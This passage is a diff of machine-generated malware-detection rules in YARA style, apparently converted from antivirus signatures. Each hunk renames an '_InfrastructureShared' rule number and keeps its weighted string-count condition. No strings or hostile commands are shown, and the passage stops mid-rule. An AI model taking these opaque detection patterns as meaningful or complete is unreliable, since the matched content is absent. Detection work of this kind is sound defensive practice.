-rule _InfrastructureShared_13789{ +rule _InfrastructureShared_14703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -156405,7 +166966,7 @@ rule _InfrastructureShared_13789{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*97+(#a_46_3 & 1)*16675) >=3 } -rule _InfrastructureShared_13790{ +rule _InfrastructureShared_14704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -156420,7 +166981,7 @@ rule _InfrastructureShared_13790{ ((#a_46_0 & 1)*16675+(#a_7f_1 & 1)*276+(#a_5a_2 & 1)*16697+(#a_40_3 & 1)*17606+(#a_4d_4 & 1)*18509+(#a_5c_5 & 1)*28528) >=3 } -rule _InfrastructureShared_13791{ +rule _InfrastructureShared_14705{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -156433,7 +166994,7 @@ rule _InfrastructureShared_13791{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*116+(#a_5a_2 & 1)*16697+(#a_41_3 & 1)*9284) >=4 } -rule _InfrastructureShared_13792{ +rule _InfrastructureShared_14706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -156446,7 +167007,7 @@ rule _InfrastructureShared_13792{ ((#a_53_0 & 1)*20515+(#a_73_1 & 1)*25964+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720) >=4 } -rule _InfrastructureShared_13793{ +rule _InfrastructureShared_14707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -156458,7 +167019,7 @@ rule _InfrastructureShared_13793{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*100+(#a_00_3 & 1)*30720) >=4 } -rule _InfrastructureShared_13794{ +rule _InfrastructureShared_14708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -156471,7 +167032,7 @@ rule _InfrastructureShared_13794{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*92+(#a_00_2 & 1)*92+(#a_00_3 & 1)*4) >=4 } -rule _InfrastructureShared_13795{ +rule _InfrastructureShared_14709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -156488,7 +167049,7 @@ rule _InfrastructureShared_13795{ ((#a_6f_0 & 1)*21539+(#a_65_1 & 1)*24942+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1) >=4 } -rule _InfrastructureShared_13796{ +rule _InfrastructureShared_14710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -156504,7 +167065,7 @@ rule _InfrastructureShared_13796{ ((#a_6f_0 & 1)*21539+(#a_65_1 & 1)*24942+(#a_45_2 & 1)*29806+(#a_6f_3 & 1)*28265+(#a_68_4 & 1)*385+(#a_64_5 & 1)*25970+(#a_00_7 & 1)*97) >=4 } -rule _InfrastructureShared_13797{ +rule _InfrastructureShared_14711{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -156518,7 +167079,7 @@ rule _InfrastructureShared_13797{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*17244+(#a_23_2 & 1)*5+(#a_70_3 & 1)*29557+(#a_00_4 & 1)*80) >=5 } -rule _InfrastructureShared_13798{ +rule _InfrastructureShared_14712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -156531,7 +167092,7 @@ rule _InfrastructureShared_13798{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*105+(#a_61_3 & 1)*28530+(#a_61_4 & 1)*18283) >=5 } -rule _InfrastructureShared_13799{ +rule _InfrastructureShared_14713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -156545,7 +167106,7 @@ rule _InfrastructureShared_13799{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*30064+(#a_54_2 & 1)*21076+(#a_73_3 & 1)*21038+(#a_2d_4 & 1)*24933) >=5 } -rule _InfrastructureShared_13800{ +rule _InfrastructureShared_14714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -156558,7 +167119,7 @@ rule _InfrastructureShared_13800{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*111+(#a_32_3 & 1)*13613+(#a_42_4 & 1)*19745) >=5 } -rule _InfrastructureShared_13801{ +rule _InfrastructureShared_14715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -156571,7 +167132,7 @@ rule _InfrastructureShared_13801{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*26455+(#a_48_3 & 1)*8448+(#a_6d_4 & 1)*23553) >=5 } -rule _InfrastructureShared_13802{ +rule _InfrastructureShared_14716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -156584,7 +167145,7 @@ rule _InfrastructureShared_13802{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*29554+(#a_6c_2 & 1)*25185+(#a_21_3 & 1)*16686) >=5 } -rule _InfrastructureShared_13803{ +rule _InfrastructureShared_14717{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -156596,7 +167157,7 @@ rule _InfrastructureShared_13803{ ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*18273+(#a_48_4 & 1)*8448) >=5 } -rule _InfrastructureShared_13804{ +rule _InfrastructureShared_14718{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -156610,7 +167171,7 @@ rule _InfrastructureShared_13804{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29285+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720) >=5 } -rule _InfrastructureShared_13805{ +rule _InfrastructureShared_14719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -156624,7 +167185,7 @@ rule _InfrastructureShared_13805{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*11634+(#a_69_2 & 1)*11890+(#a_6f_3 & 1)*14441+(#a_6e_4 & 1)*25180) >=5 } -rule _InfrastructureShared_13806{ +rule _InfrastructureShared_14720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -156639,7 +167200,7 @@ rule _InfrastructureShared_13806{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*30821+(#a_2e_2 & 1)*25963+(#a_74_3 & 1)*28265+(#a_61_4 & 1)*27765+(#a_72_5 & 1)*26228) >=5 } -rule _InfrastructureShared_13807{ +rule _InfrastructureShared_14721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -156654,7 +167215,7 @@ rule _InfrastructureShared_13807{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28518+(#a_23_2 & 1)*6+(#a_72_3 & 1)*24833+(#a_00_4 & 1)*24940+(#a_6d_5 & 1)*385) >=6 } -rule _InfrastructureShared_13808{ +rule _InfrastructureShared_14722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -156668,7 +167229,7 @@ rule _InfrastructureShared_13808{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28261+(#a_57_2 & 1)*21076+(#a_65_3 & 1)*30060+(#a_75_4 & 1)*28530) >=6 } -rule _InfrastructureShared_13809{ +rule _InfrastructureShared_14723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -156683,7 +167244,7 @@ rule _InfrastructureShared_13809{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25193+(#a_69_2 & 1)*14930+(#a_6d_3 & 1)*26881+(#a_69_4 & 1)*14930+(#a_61_5 & 1)*28960) >=6 } -rule _InfrastructureShared_13810{ +rule _InfrastructureShared_14724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -156698,7 +167259,7 @@ rule _InfrastructureShared_13810{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_23_2 & 1)*6+(#a_6d_3 & 1)*-32480+(#a_20_4 & 1)*25971+(#a_00_5 & 1)*29556) >=6 } -rule _InfrastructureShared_13811{ +rule _InfrastructureShared_14725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -156713,7 +167274,7 @@ rule _InfrastructureShared_13811{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*26990+(#a_61_2 & 1)*12082+(#a_2e_3 & 1)*29797+(#a_00_4 & 1)*6+(#a_6e_5 & 1)*22330) >=6 } -rule _InfrastructureShared_13812{ +rule _InfrastructureShared_14726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -156728,7 +167289,7 @@ rule _InfrastructureShared_13812{ ((#a_46_0 & 1)*21283+(#a_2e_1 & 1)*29797+(#a_00_2 & 1)*6+(#a_6e_3 & 1)*22330+(#a_6f_4 & 1)*28265+(#a_32_5 & 1)*28265) >=6 } -rule _InfrastructureShared_13813{ +rule _InfrastructureShared_14727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -156746,7 +167307,7 @@ rule _InfrastructureShared_13813{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*22866+(#a_6c_2 & 1)*24948+(#a_00_3 & 1)*5+(#a_80_4 & 1)*2+(#a_80_5 & 1)*2+(#a_80_6 & 1)*2+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1) >=6 } -rule _InfrastructureShared_13814{ +rule _InfrastructureShared_14728{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -156762,7 +167323,7 @@ rule _InfrastructureShared_13814{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*12090+(#a_74_2 & 1)*25955+(#a_70_3 & 1)*21550+(#a_6c_4 & 1)*29811+(#a_04_5 & 1)*7680+(#a_04_6 & 1)*400) >=7 } -rule _InfrastructureShared_13815{ +rule _InfrastructureShared_14729{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -156778,7 +167339,7 @@ rule _InfrastructureShared_13815{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25924+(#a_54_2 & 1)*19525+(#a_66_3 & 1)*26697+(#a_52_4 & 1)*25955+(#a_3a_5 & 1)*21587+(#a_43_6 & 1)*-32753) >=7 } -rule _InfrastructureShared_13816{ +rule _InfrastructureShared_14730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -156796,7 +167357,7 @@ rule _InfrastructureShared_13816{ ((#a_4c_0 & 1)*21539+(#a_65_2 & 1)*24436+(#a_73_3 & 1)*21038+(#a_6c_4 & 1)*30825+(#a_00_5 & 1)*25955+(#a_61_6 & 1)*384+(#a_69_7 & 1)*17503+(#a_01_8 & 1)*1792+(#a_57_9 & 1)*-32505) >=7 } -rule _InfrastructureShared_13817{ +rule _InfrastructureShared_14731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -156813,7 +167374,7 @@ rule _InfrastructureShared_13817{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*3840+(#a_41_2 & 1)*19529+(#a_52_3 & 1)*29285+(#a_67_4 & 1)*26980+(#a_41_5 & 1)*24940+(#a_33_6 & 1)*13109+(#a_00_7 & 1)*29030) >=8 } -rule _InfrastructureShared_13818{ +rule _InfrastructureShared_14732{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -156829,7 +167390,7 @@ rule _InfrastructureShared_13818{ ((#a_4c_0 & 1)*21539+(#a_73_1 & 1)*25458+(#a_01_2 & 1)*28793+(#a_35_3 & 1)*13109+(#a_01_5 & 1)*2048+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=8 } -rule _InfrastructureShared_13819{ +rule _InfrastructureShared_14733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -156847,7 +167408,7 @@ rule _InfrastructureShared_13819{ ((#a_54_0 & 1)*18467+(#a_38_1 & 1)*22273+(#a_6c_2 & 1)*30825+(#a_33_3 & 1)*26967+(#a_37_4 & 1)*25393+(#a_61_5 & 1)*28530+(#a_70_6 & 1)*656+(#a_90_7 & 1)*9476+(#a_43_8 & 1)*-32753) >=9 } -rule _InfrastructureShared_13820{ +rule _InfrastructureShared_14734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -156864,7 +167425,7 @@ rule _InfrastructureShared_13820{ ((#a_54_0 & 1)*18467+(#a_38_1 & 1)*22273+(#a_6c_2 & 1)*30825+(#a_07_3 & 1)*12804+(#a_28_4 & 1)*-7379+(#a_00_5 & 1)*5669+(#a_41_6 & 1)*29813+(#a_69_7 & 1)*29285) >=9 } -rule _InfrastructureShared_13821{ +rule _InfrastructureShared_14735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 06 00 21 " @@ -156879,7 +167440,7 @@ rule _InfrastructureShared_13821{ ((#a_54_0 & 1)*18467+(#a_5b_1 & 1)*7942+(#a_0a_2 & 1)*2059+(#a_61_3 & 1)*28266+(#a_01_4 & 1)*30400+(#a_ca_5 & 1)*0) >=10 } -rule _InfrastructureShared_13822{ +rule _InfrastructureShared_14736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -156898,7 +167459,7 @@ rule _InfrastructureShared_13822{ ((#a_46_0 & 1)*21283+(#a_53_1 & 1)*29281+(#a_3a_3 & 1)*17748+(#a_25_4 & 1)*18241+(#a_90_5 & 1)*0+(#a_11_6 & 1)*4+(#a_12_7 & 1)*5073+(#a_0a_8 & 1)*400+(#a_8e_9 & 1)*2317+(#a_53_10 & 1)*21505) >=11 } -rule _InfrastructureShared_13823{ +rule _InfrastructureShared_14737{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 06 00 21 " @@ -156913,7 +167474,7 @@ rule _InfrastructureShared_13823{ ((#a_4c_0 & 1)*21539+(#a_52_1 & 1)*19807+(#a_01_2 & 1)*-28555+(#a_02_3 & 1)*-15911+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720) >=13 } -rule _InfrastructureShared_13824{ +rule _InfrastructureShared_14738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -156928,7 +167489,7 @@ rule _InfrastructureShared_13824{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28632+(#a_0a_2 & 1)*400+(#a_8e_3 & 1)*2317+(#a_53_4 & 1)*21505+(#a_73_5 & 1)*25716) >=15 } -rule _InfrastructureShared_13825{ +rule _InfrastructureShared_14739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 07 00 21 " @@ -156942,7 +167503,7 @@ rule _InfrastructureShared_13825{ ((#a_5f_0 & 1)*16931+(#a_70_2 & 1)*29441+(#a_54_3 & 1)*21076+(#a_e9_4 & 1)*1024+(#a_00_6 & 1)*-5887) >=15 } -rule _InfrastructureShared_13826{ +rule _InfrastructureShared_14740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 14 00 21 " @@ -156966,7 +167527,7 @@ rule _InfrastructureShared_13826{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*-5887+(#a_00_4 & 1)*-5887+(#a_e9_5 & 1)*1024+(#a_00_7 & 1)*-5887+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_ca_14 & 1)*0+(#a_6f_16 & 1)*21249+(#a_61_17 & 1)*25964+(#a_65_18 & 1)*17772+(#a_73_19 & 1)*276) >=20 } -rule _InfrastructureShared_13827{ +rule _InfrastructureShared_14741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,32 00 32 00 05 00 21 " @@ -156980,7 +167541,7 @@ rule _InfrastructureShared_13827{ ((#a_77_0 & 1)*19491+(#a_6f_1 & 1)*21249+(#a_61_2 & 1)*25964+(#a_65_3 & 1)*17772+(#a_73_4 & 1)*276) >=50 } -rule _InfrastructureShared_13828{ +rule _InfrastructureShared_14742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,38 00 38 00 0a 00 21 " @@ -156999,7 +167560,7 @@ rule _InfrastructureShared_13828{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*3584+(#a_52_2 & 1)*28517+(#a_00_3 & 1)*210+(#a_6a_4 & 1)*29268+(#a_68_5 & 1)*29472+(#a_00_6 & 1)*65+(#a_e5_7 & 1)*21762+(#a_e8_8 & 1)*1161+(#a_45_9 & 1)*21573) >=56 } -rule _InfrastructureShared_13829{ +rule _InfrastructureShared_14743{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffd2 00 ffffffd2 00 07 00 21 " @@ -157015,7 +167576,7 @@ rule _InfrastructureShared_13829{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*8293+(#a_23_2 & 1)*1+(#a_02_3 & 1)*1+(#a_cb_4 & 1)*0+(#a_c1_5 & 1)*18437+(#a_30_6 & 1)*11057) >=210 } -rule _InfrastructureShared_13830{ +rule _InfrastructureShared_14744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -157025,7 +167586,7 @@ rule _InfrastructureShared_13830{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_13831{ +rule _InfrastructureShared_14745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -157035,7 +167596,7 @@ rule _InfrastructureShared_13831{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_13832{ +rule _InfrastructureShared_14746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -157049,7 +167610,7 @@ rule _InfrastructureShared_13832{ ((#a_54_0 & 1)*18467+(#a_af_1 & 1)*-26742+(#a_2f_2 & 1)*9519+(#a_64_3 & 1)*6400+(#a_72_4 & 1)*28784) >=1 } -rule _InfrastructureShared_13833{ +rule _InfrastructureShared_14747{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -157064,7 +167625,7 @@ rule _InfrastructureShared_13833{ ((#a_46_0 & 1)*21283+(#a_65_1 & 1)*28783+(#a_00_2 & 1)*0+(#a_23_3 & 1)*2+(#a_80_4 & 1)*840+(#a_75_5 & 1)*12084) >=1 } -rule _InfrastructureShared_13834{ +rule _InfrastructureShared_14748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -157075,7 +167636,7 @@ rule _InfrastructureShared_13834{ ((#a_46_0 & 1)*16675+(#a_8b_1 & 1)*9284) >=2 } -rule _InfrastructureShared_13835{ +rule _InfrastructureShared_14749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -157086,7 +167647,7 @@ rule _InfrastructureShared_13835{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28773) >=2 } -rule _InfrastructureShared_13836{ +rule _InfrastructureShared_14750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -157096,7 +167657,7 @@ rule _InfrastructureShared_13836{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_13837{ +rule _InfrastructureShared_14751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -157107,7 +167668,7 @@ rule _InfrastructureShared_13837{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=2 } -rule _InfrastructureShared_13838{ +rule _InfrastructureShared_14752{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -157118,7 +167679,7 @@ rule _InfrastructureShared_13838{ ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*29697) >=2 } -rule _InfrastructureShared_13839{ +rule _InfrastructureShared_14753{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -157130,7 +167691,7 @@ rule _InfrastructureShared_13839{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*16129+(#a_41_3 & 1)*8448) >=2 } -rule _InfrastructureShared_13840{ +rule _InfrastructureShared_14754{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -157142,7 +167703,7 @@ rule _InfrastructureShared_13840{ ((#a_46_0 & 1)*16675+(#a_05_1 & 1)*-28664+(#a_50_2 & 1)*5712) >=3 } -rule _InfrastructureShared_13841{ +rule _InfrastructureShared_14755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -157153,7 +167714,7 @@ rule _InfrastructureShared_13841{ ((#a_46_0 & 1)*16675+(#a_2d_2 & 1)*5632) >=3 } -rule _InfrastructureShared_13842{ +rule _InfrastructureShared_14756{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -157165,7 +167726,7 @@ rule _InfrastructureShared_13842{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*300+(#a_03_2 & 1)*1) >=3 } -rule _InfrastructureShared_13843{ +rule _InfrastructureShared_14757{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -157176,7 +167737,7 @@ rule _InfrastructureShared_13843{ ((#a_54_0 & 1)*18467+(#a_02_2 & 1)*114) >=3 } -rule _InfrastructureShared_13844{ +rule _InfrastructureShared_14758{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -157188,7 +167749,7 @@ rule _InfrastructureShared_13844{ ((#a_54_0 & 1)*18467+(#a_8d_1 & 1)*5993+(#a_38_2 & 1)*17242) >=3 } -rule _InfrastructureShared_13845{ +rule _InfrastructureShared_14759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -157198,7 +167759,7 @@ rule _InfrastructureShared_13845{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_13846{ +rule _InfrastructureShared_14760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -157209,7 +167770,7 @@ rule _InfrastructureShared_13846{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*83) >=3 } -rule _InfrastructureShared_13847{ +rule _InfrastructureShared_14761{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -157221,7 +167782,7 @@ rule _InfrastructureShared_13847{ ((#a_46_0 & 1)*21283+(#a_04_1 & 1)*17545+(#a_02_2 & 1)*-28531) >=3 } -rule _InfrastructureShared_13848{ +rule _InfrastructureShared_14762{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -157233,7 +167794,7 @@ rule _InfrastructureShared_13848{ ((#a_46_0 & 1)*16675+(#a_7c_1 & 1)*20597+(#a_54_2 & 1)*18490) >=3 } -rule _InfrastructureShared_13849{ +rule _InfrastructureShared_14763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -157245,7 +167806,7 @@ rule _InfrastructureShared_13849{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*7168+(#a_00_3 & 1)*105) >=3 } -rule _InfrastructureShared_13850{ +rule _InfrastructureShared_14764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -157259,7 +167820,7 @@ rule _InfrastructureShared_13850{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*20234+(#a_25_2 & 1)*25965+(#a_00_3 & 1)*49+(#a_70_4 & 1)*29532) >=3 } -rule _InfrastructureShared_13851{ +rule _InfrastructureShared_14765{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -157271,7 +167832,7 @@ rule _InfrastructureShared_13851{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_13852{ +rule _InfrastructureShared_14766{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -157284,7 +167845,7 @@ rule _InfrastructureShared_13852{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_00_2 & 1)*4+(#a_52_3 & 1)*21320) >=4 } -rule _InfrastructureShared_13853{ +rule _InfrastructureShared_14767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -157297,7 +167858,7 @@ rule _InfrastructureShared_13853{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_00_2 & 1)*0+(#a_4c_3 & 1)*8993) >=4 } -rule _InfrastructureShared_13854{ +rule _InfrastructureShared_14768{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -157310,7 +167871,7 @@ rule _InfrastructureShared_13854{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28245+(#a_00_2 & 1)*28515+(#a_6e_3 & 1)*30510) >=4 } -rule _InfrastructureShared_13855{ +rule _InfrastructureShared_14769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -157323,7 +167884,7 @@ rule _InfrastructureShared_13855{ ((#a_41_0 & 1)*20515+(#a_77_2 & 1)*25601+(#a_74_3 & 1)*25707+(#a_61_4 & 1)*27759) >=4 } -rule _InfrastructureShared_13856{ +rule _InfrastructureShared_14770{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -157336,7 +167897,7 @@ rule _InfrastructureShared_13856{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28530+(#a_00_3 & 1)*5+(#a_48_4 & 1)*17996) >=4 } -rule _InfrastructureShared_13857{ +rule _InfrastructureShared_14771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -157349,7 +167910,7 @@ rule _InfrastructureShared_13857{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*97+(#a_00_3 & 1)*0+(#a_46_4 & 1)*16675) >=5 } -rule _InfrastructureShared_13858{ +rule _InfrastructureShared_14772{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -157363,7 +167924,7 @@ rule _InfrastructureShared_13858{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*30067+(#a_cb_2 & 1)*0+(#a_61_3 & 1)*13108+(#a_6f_4 & 1)*28279) >=5 } -rule _InfrastructureShared_13859{ +rule _InfrastructureShared_14773{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -157376,7 +167937,7 @@ rule _InfrastructureShared_13859{ ((#a_77_0 & 1)*16675+(#a_30_1 & 1)*11586+(#a_61_2 & 1)*26479+(#a_00_3 & 1)*114) >=5 } -rule _InfrastructureShared_13860{ +rule _InfrastructureShared_14774{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -157389,7 +167950,7 @@ rule _InfrastructureShared_13860{ ((#a_5f_0 & 1)*16931+(#a_00_1 & 1)*97+(#a_48_3 & 1)*8448+(#a_00_4 & 1)*66) >=5 } -rule _InfrastructureShared_13861{ +rule _InfrastructureShared_14775{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -157403,7 +167964,7 @@ rule 